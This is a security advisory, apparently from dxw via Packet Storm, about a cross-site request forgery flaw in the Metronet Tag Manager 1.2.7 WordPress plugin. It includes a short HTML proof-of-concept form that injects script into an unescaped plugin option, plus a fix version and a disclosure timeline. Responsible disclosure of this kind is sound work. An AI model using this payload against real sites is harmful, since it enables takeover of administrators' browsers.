Metronet Tag Manager 1.2.7 Cross Site Request Forgery

Type packetstorm
Reporter Tom Adams
Modified 2018-05-15T00:00:00


Software: Metronet Tag Manager  
Version: 1.2.7  
Advisory report:  
CVE: Awaiting assignment  
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)  
CSRF in Metronet Tag Manager allows anybody to do almost anything an admin can  
The pluginas settings page sends a nonce, and checks it when displaying the success/failure message, but is not checked when setting options.  
This option is meant to contain JavaScript for Google Tag Manager, so itas displayed on every frontend page without escaping.  
As this vulnerability allows adding arbitrary JavaScript, the attacker can use it to control an admin useras browser to do almost anything an admin user can do.  
Proof of concept  
Press submit on a page containing the following HTML snippet:  
<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=metronet-tag-manager\">  
<input type=\"text\" name=\"submit\" value=\"1\">  
<input type=\"text\" name=\"gtm-code-head\" value=\"<script>alert(1)</script>\">  
<input type=\"submit\">  
In a real attack, the form can be made to autosubmit so the victim only has to follow a link.  
Upgrade to version 1.2.9 or later.  
Disclosure policy  
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy:  
Please contact us on to acknowledge this report if you received it via a third party (for example, as they generally cannot communicate with us on your behalf.  
This vulnerability will be published if we do not receive a response to this report with 14 days.  
2018-04-13: Discovered  
2018-04-16: Reported to plugin author via Facebook private message  
2018-04-17: Plugin author confirmed receipt of message  
2018-04-24: Plugin changelog indicates bug has been fixed in 1.2.9  
2018-05-15: Advisory published  
Discovered by dxw:  
Tom Adams  
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